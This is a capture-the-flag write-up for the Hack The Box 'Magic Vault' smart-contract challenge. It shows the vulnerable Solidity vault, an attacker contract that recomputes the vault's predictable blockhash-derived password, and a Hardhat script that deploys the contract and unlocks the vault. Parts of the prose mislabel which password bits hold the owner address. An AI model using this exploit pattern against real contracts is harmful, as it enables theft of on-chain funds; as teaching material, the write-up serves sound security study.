HTB: Magic Vault.
Table of Contents
The contracts:
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Vault} from "./Vault.sol";
contract Setup {
Vault public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Vault();
}
function isSolved() public view returns (bool) {
return TARGET.mapHolder() != address(TARGET);
}
}
Vault.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Vault {
struct Map {
address holder;
}
Map map;
address public owner;
bytes32 private passphrase;
uint256 public nonce;
bool public isUnlocked;
constructor() {
owner = msg.sender;
passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
map = Map(address(this));
}
function mapHolder() public view returns (address) {
return map.holder;
}
function claimContent() public {
require(isUnlocked);
map.holder = msg.sender;
}
function unlock(bytes16 _password) public {
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
uint128 _input = uint128(_password);
require(_input != _secretKey, "Case 1 failed");
require(uint64(_input) == _secretKey, "Case 2 failed");
require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed");
isUnlocked = true;
}
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
nonce++;
}
function _magicPassword() private returns (bytes8) {
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
return (_secret >> 32 | _secret << 16);
}
}
Explaining the vault contract
The unlock function in the provided contract requires the caller to provide a _password that satisfies three conditions:
- _input != _secretKey
- uint64(_input) == _secretKey
- uint64(bytes8(_password)) == uint64(uint160(owner))
Let’s break down each condition:
_input != _secretKey:
This means that the _password (when cast to uint128) should not be equal to _secretKey.
uint64(_input) == _secretKey:
This means that the lower 64 bits of _password
(when cast to uint128) should be equal to _secretKey
.
uint64(bytes8(_password)) == uint64(uint160(owner)):
This means that the lower 64 bits of _password
should be equal to the lower 64 bits of the contract’s owner address.
Given these conditions, the _password
should have the following structure:
-----------------------------------------
| 64 bits of owner | 64 bits of _secretKey |
-----------------------------------------
TO determine _secretKey
, we need to understand the _magicPassword
function:
_key1
is generated using the blockhash of either the current block or the previous block (depending on the current block’s timestamp).
_key2
is generated using the blockhash of the block two blocks before the current block.
_secret
is derived from the passphrase (which is set in the constructor) and the two keys _key1
and _key2
.
Writing our own contract
By taking what generates the password, and implementing them in our own contract, we can “reverse” the password generation process to get the password.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IVault {
function nonce() external returns (uint256);
function unlock(bytes16 _password) external;
}
contract Magic_Vault {
IVault target;
uint256 nonce;
constructor(address _target) {
target = IVault(_target);
}
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
nonce++;
}
function _magicPassword() private returns (bytes8) {
nonce = target.nonce();
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes32 passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
return (_secret >> 32 | _secret << 16);
}
function generateUnlockKey(address vaultOwner) public {
uint64 ownerPart = uint64(uint160(vaultOwner));
uint64 secretPart = uint64(_magicPassword());
bytes16 key = bytes16((uint128(ownerPart) << 64) | secretPart);
target.unlock(key);
}
}
Here we have implemented the _generateKey
and _magicpassword
from the original Vault.sol, and we have also implemented the generateUnlockKey
function which generates the password and calls the unlock
function on the target.
Make sure you understand the original contract and the contract above! It took me a long while to get past Case 2
until I realised what it actually “asked for”, copy-and-pasting the above contract won’t make you better at this, read and understand :)
const hre = require("hardhat");
async function main() {
const VAULT = "0x6EA09f29efdAaBE73Fe294A8a6E465c5000BdED7";
const SETUP_ADDRESS = "0x5163406c67606Cf0C5F4053a76D74A7039aBF388"
// Step 1: Deploy the intermediary Attacker contract
console.log("Deploying Attacker contract...");
const Attacker = await hre.ethers.getContractFactory("Magic_Vault");
const attackerInstance = await Attacker.deploy(VAULT);
await attackerInstance.waitForDeployment(); // This waits for the contract deployment transaction to be confirmed.
// const vaultInstance = await hre.ethers.getContractAt("IVault", VAULT);
console.log("Attacker contract deployed at:", attackerInstance);
// Step 2: Try to unlock
console.log("Trying to unlock the vault...");
await attackerInstance.generateUnlockKey(SETUP_ADDRESS);
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
If you understand the contract above, you should be able to understand the above script. We deploy the contract, and then call the generateUnlockKey
function with the address of the Setup contract. We call it with the address of the Setup.sol
contract because case 3
requires the lower 64 bits of the password to be equal to the lower 64 bits of the owner address of the contract, and the “Owner” is the one who deployed the contract (In this case, Setup deploys Vault!)